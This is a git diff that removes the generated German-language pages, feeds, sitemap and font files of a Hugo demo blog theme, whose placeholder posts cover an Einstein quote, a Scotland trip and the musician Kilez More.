+0100 - - https://h.cowbay.org/de/page/github/ - - - - - \ No newline at end of file diff --git a/themes/public/de/page/page/1/index.html b/themes/public/de/page/page/1/index.html deleted file mode 100644 index 52a6d4db..00000000 --- a/themes/public/de/page/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/page/ \ No newline at end of file diff --git a/themes/public/de/quote/einstein-sinn-des-lebens/index.html b/themes/public/de/quote/einstein-sinn-des-lebens/index.html deleted file mode 100644 index 7058d107..00000000 --- a/themes/public/de/quote/einstein-sinn-des-lebens/index.html +++ /dev/null @@ -1,348 +0,0 @@ - - - - - - - - - - Albert Einstein - Sinn Des Lebens | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - -
    -

    Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller.

    - - Albert Einstein -
    -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/quote/index.html b/themes/public/de/quote/index.html deleted file mode 100644 index 66a9605b..00000000 --- a/themes/public/de/quote/index.html +++ /dev/null @@ -1,337 +0,0 @@ - - - - - - - - - - Quotes | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller.

    - - Albert Einstein -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/quote/index.xml b/themes/public/de/quote/index.xml deleted file mode 100644 index 3f0ba23c..00000000 --- a/themes/public/de/quote/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Quotes on Mein cooler neuer Blog - https://h.cowbay.org/de/quote/ - Recent content in Quotes on Mein cooler neuer Blog - Hugo -- gohugo.io - Fri, 01 Dec 2017 14:40:32 +0100 - - - - - - Albert Einstein - Sinn Des Lebens - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Fri, 01 Dec 2017 14:40:32 +0100 - - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller. - - - - \ No newline at end of file diff --git a/themes/public/de/quote/page/1/index.html b/themes/public/de/quote/page/1/index.html deleted file mode 100644 index 26a81896..00000000 --- a/themes/public/de/quote/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/quote/ \ No newline at end of file diff --git a/themes/public/de/robots.txt b/themes/public/de/robots.txt deleted file mode 100644 index 4f9540ba..00000000 --- a/themes/public/de/robots.txt +++ /dev/null @@ -1 +0,0 @@ -User-agent: * \ No newline at end of file diff --git a/themes/public/de/sitemap.xml b/themes/public/de/sitemap.xml deleted file mode 100644 index 6e5c5b51..00000000 --- a/themes/public/de/sitemap.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - - - https://h.cowbay.org/de/author/ - 0 - - - - - - https://h.cowbay.org/de/categories/ - 0 - - - - - - https://h.cowbay.org/de/ - 0 - - - - - - https://h.cowbay.org/de/tags/ - 0 - - - - - \ No newline at end of file diff --git a/themes/public/de/tags/discord/index.html b/themes/public/de/tags/discord/index.html deleted file mode 100644 index 86865489..00000000 --- a/themes/public/de/tags/discord/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - Discord | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Unterstützung und Diskussionen

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hallo zusammen!

    - -

    Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst.

    - -

    Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt.

    - -

    Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/discord/index.xml b/themes/public/de/tags/discord/index.xml deleted file mode 100644 index c2b3d9d3..00000000 --- a/themes/public/de/tags/discord/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Discord on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/discord/ - Recent content in Discord on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Unterstützung und Diskussionen - https://h.cowbay.org/de/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/de/article/support-and-discussions/ - Hallo zusammen! -Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst. -Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt. -Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal: - - - - \ No newline at end of file diff --git a/themes/public/de/tags/discord/page/1/index.html b/themes/public/de/tags/discord/page/1/index.html deleted file mode 100644 index cb45fd19..00000000 --- a/themes/public/de/tags/discord/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/discord/ \ No newline at end of file diff --git a/themes/public/de/tags/eilean-donan-castle/index.html b/themes/public/de/tags/eilean-donan-castle/index.html deleted file mode 100644 index ed3f058c..00000000 --- a/themes/public/de/tags/eilean-donan-castle/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Eilean Donan Castle | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/eilean-donan-castle/index.xml b/themes/public/de/tags/eilean-donan-castle/index.xml deleted file mode 100644 index 86c74d1a..00000000 --- a/themes/public/de/tags/eilean-donan-castle/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Eilean Donan Castle on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/eilean-donan-castle/ - Recent content in Eilean Donan Castle on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/tags/eilean-donan-castle/page/1/index.html b/themes/public/de/tags/eilean-donan-castle/page/1/index.html deleted file mode 100644 index 254a25cf..00000000 --- a/themes/public/de/tags/eilean-donan-castle/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/eilean-donan-castle/ \ No newline at end of file diff --git a/themes/public/de/tags/glennfinnan-viadukt/index.html b/themes/public/de/tags/glennfinnan-viadukt/index.html deleted file mode 100644 index 80aa0ba5..00000000 --- a/themes/public/de/tags/glennfinnan-viadukt/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Glennfinnan Viadukt | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/glennfinnan-viadukt/index.xml b/themes/public/de/tags/glennfinnan-viadukt/index.xml deleted file mode 100644 index c05759ee..00000000 --- a/themes/public/de/tags/glennfinnan-viadukt/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Glennfinnan Viadukt on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/glennfinnan-viadukt/ - Recent content in Glennfinnan Viadukt on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/tags/glennfinnan-viadukt/page/1/index.html b/themes/public/de/tags/glennfinnan-viadukt/page/1/index.html deleted file mode 100644 index 9e4a16c4..00000000 --- a/themes/public/de/tags/glennfinnan-viadukt/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/glennfinnan-viadukt/ \ No newline at end of file diff --git a/themes/public/de/tags/index.html b/themes/public/de/tags/index.html deleted file mode 100644 index 4247c5f0..00000000 --- a/themes/public/de/tags/index.html +++ /dev/null @@ -1,250 +0,0 @@ - - - - - - - - - - Tags | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - - - - - -
    - - -
    -
    - - -
    - Neuste Beiträge -
      - -
    -
    - - - - -
    - -
    - Social media - - - - - - - - - - - - - - - - - - -
    - - - -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/index.xml b/themes/public/de/tags/index.xml deleted file mode 100644 index 4e000ba8..00000000 --- a/themes/public/de/tags/index.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - Tags on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/ - Recent content in Tags on Mein cooler neuer Blog - Hugo -- gohugo.io - - - - - - \ No newline at end of file diff --git a/themes/public/de/tags/kilez-more/index.html b/themes/public/de/tags/kilez-more/index.html deleted file mode 100644 index f55f9a82..00000000 --- a/themes/public/de/tags/kilez-more/index.html +++ /dev/null @@ -1,490 +0,0 @@ - - - - - - - - - - Kilez More | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Musik - - - - - -
    - - - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/kilez-more/index.xml b/themes/public/de/tags/kilez-more/index.xml deleted file mode 100644 index 431ed9cb..00000000 --- a/themes/public/de/tags/kilez-more/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Kilez More on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/kilez-more/ - Recent content in Kilez More on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Leben und Tod des Imperialismus - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!</p> - -<p></p> - - - - Kilez More - New World Order - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - - \ No newline at end of file diff --git a/themes/public/de/tags/kilez-more/page/1/index.html b/themes/public/de/tags/kilez-more/page/1/index.html deleted file mode 100644 index e9f8c181..00000000 --- a/themes/public/de/tags/kilez-more/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/kilez-more/ \ No newline at end of file diff --git a/themes/public/de/tags/sag-danke/index.html b/themes/public/de/tags/sag-danke/index.html deleted file mode 100644 index 79a74692..00000000 --- a/themes/public/de/tags/sag-danke/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - Sag Danke | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Unterstützung und Diskussionen

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hallo zusammen!

    - -

    Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst.

    - -

    Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt.

    - -

    Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/sag-danke/index.xml b/themes/public/de/tags/sag-danke/index.xml deleted file mode 100644 index d7e93ac5..00000000 --- a/themes/public/de/tags/sag-danke/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Sag Danke on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/sag-danke/ - Recent content in Sag Danke on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Unterstützung und Diskussionen - https://h.cowbay.org/de/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/de/article/support-and-discussions/ - Hallo zusammen! -Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst. -Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt. -Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal: - - - - \ No newline at end of file diff --git a/themes/public/de/tags/sag-danke/page/1/index.html b/themes/public/de/tags/sag-danke/page/1/index.html deleted file mode 100644 index f8ff86c3..00000000 --- a/themes/public/de/tags/sag-danke/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/sag-danke/ \ No newline at end of file diff --git a/themes/public/de/tags/schottland/index.html b/themes/public/de/tags/schottland/index.html deleted file mode 100644 index 2d24c4a0..00000000 --- a/themes/public/de/tags/schottland/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Schottland | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/schottland/index.xml b/themes/public/de/tags/schottland/index.xml deleted file mode 100644 index 31dbfad4..00000000 --- a/themes/public/de/tags/schottland/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Schottland on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/schottland/ - Recent content in Schottland on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/tags/schottland/page/1/index.html b/themes/public/de/tags/schottland/page/1/index.html deleted file mode 100644 index 9b9bad9b..00000000 --- a/themes/public/de/tags/schottland/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/schottland/ \ No newline at end of file diff --git a/themes/public/de/tags/support/index.html b/themes/public/de/tags/support/index.html deleted file mode 100644 index 58bc034b..00000000 --- a/themes/public/de/tags/support/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - Support | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Unterstützung und Diskussionen

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hallo zusammen!

    - -

    Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst.

    - -

    Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt.

    - -

    Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/support/index.xml b/themes/public/de/tags/support/index.xml deleted file mode 100644 index bb68dcc9..00000000 --- a/themes/public/de/tags/support/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Support on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/support/ - Recent content in Support on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Unterstützung und Diskussionen - https://h.cowbay.org/de/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/de/article/support-and-discussions/ - Hallo zusammen! -Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst. -Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt. -Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal: - - - - \ No newline at end of file diff --git a/themes/public/de/tags/support/page/1/index.html b/themes/public/de/tags/support/page/1/index.html deleted file mode 100644 index 15f0fcf9..00000000 --- a/themes/public/de/tags/support/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/support/ \ No newline at end of file diff --git a/themes/public/de/tags/truth-rap/index.html b/themes/public/de/tags/truth-rap/index.html deleted file mode 100644 index 82caa851..00000000 --- a/themes/public/de/tags/truth-rap/index.html +++ /dev/null @@ -1,402 +0,0 @@ - - - - - - - - - - Truth Rap | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Musik - - - - - -
    - - - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/tags/truth-rap/index.xml b/themes/public/de/tags/truth-rap/index.xml deleted file mode 100644 index c14e1871..00000000 --- a/themes/public/de/tags/truth-rap/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Truth Rap on Mein cooler neuer Blog - https://h.cowbay.org/de/tags/truth-rap/ - Recent content in Truth Rap on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:12:47 +0100 - - - - - - Kilez More - New World Order - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - - \ No newline at end of file diff --git a/themes/public/de/tags/truth-rap/page/1/index.html b/themes/public/de/tags/truth-rap/page/1/index.html deleted file mode 100644 index 3ed1e2d8..00000000 --- a/themes/public/de/tags/truth-rap/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/tags/truth-rap/ \ No newline at end of file diff --git a/themes/public/de/video/index.html b/themes/public/de/video/index.html deleted file mode 100644 index 17afe5b0..00000000 --- a/themes/public/de/video/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - Videos | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/video/index.xml b/themes/public/de/video/index.xml deleted file mode 100644 index 2cca4abc..00000000 --- a/themes/public/de/video/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Videos on Mein cooler neuer Blog - https://h.cowbay.org/de/video/ - Recent content in Videos on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Leben und Tod des Imperialismus - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/de/video/kilez-more-leben-und-tod-des-imperialismus/index.html b/themes/public/de/video/kilez-more-leben-und-tod-des-imperialismus/index.html deleted file mode 100644 index bfe10a58..00000000 --- a/themes/public/de/video/kilez-more-leben-und-tod-des-imperialismus/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - Kilez More - Leben und Tod des Imperialismus | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - -
    - - - - -
    - -
    - - - -
    -

    Kilez More - Leben und Tod des Imperialismus

    -
    - - - 2017-11-01 - - - - - - - - - Video - - Musik - - Politik - - - - - -
    - - -

    Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!

    - -

    - -

    Der Song “Leben und Tod des Imperialismus” ist ein genialer 12-minütiger Song, welcher deutlich besser und nachdrücklicher ist, als es alle meine Unterrichtsstunden in Geschichte oder Politik in der Schule waren.

    - -

    Folgt ihm auf seinem Twitter Account und YouTube Channel!

    - -

    Mithilfe des video post types kannst du ganz einfach YouTube- oder Vimeo-Videos einbinden. -Alternativ kannst du auch ein featuredImage einbinden.

    - -

    PS: Mit der <!--more--> Directive in deiner Markdown Datei kannst du den “Weiterlesen” Breakpoint manuell setzen.

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/video/page/1/index.html b/themes/public/de/video/page/1/index.html deleted file mode 100644 index bd2004ba..00000000 --- a/themes/public/de/video/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/video/ \ No newline at end of file diff --git a/themes/public/dist/algolia-logo-light.svg b/themes/public/dist/algolia-logo-light.svg deleted file mode 100644 index 47024234..00000000 --- a/themes/public/dist/algolia-logo-light.svg +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - diff --git a/themes/public/dist/fonts/FontAwesome.otf b/themes/public/dist/fonts/FontAwesome.otf deleted file mode 100644 index 401ec0f3..00000000 Binary files a/themes/public/dist/fonts/FontAwesome.otf and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot deleted file mode 100644 index 21711d68..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg deleted file mode 100644 index 23600d4c..00000000 --- a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg +++ /dev/null @@ -1,452 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - 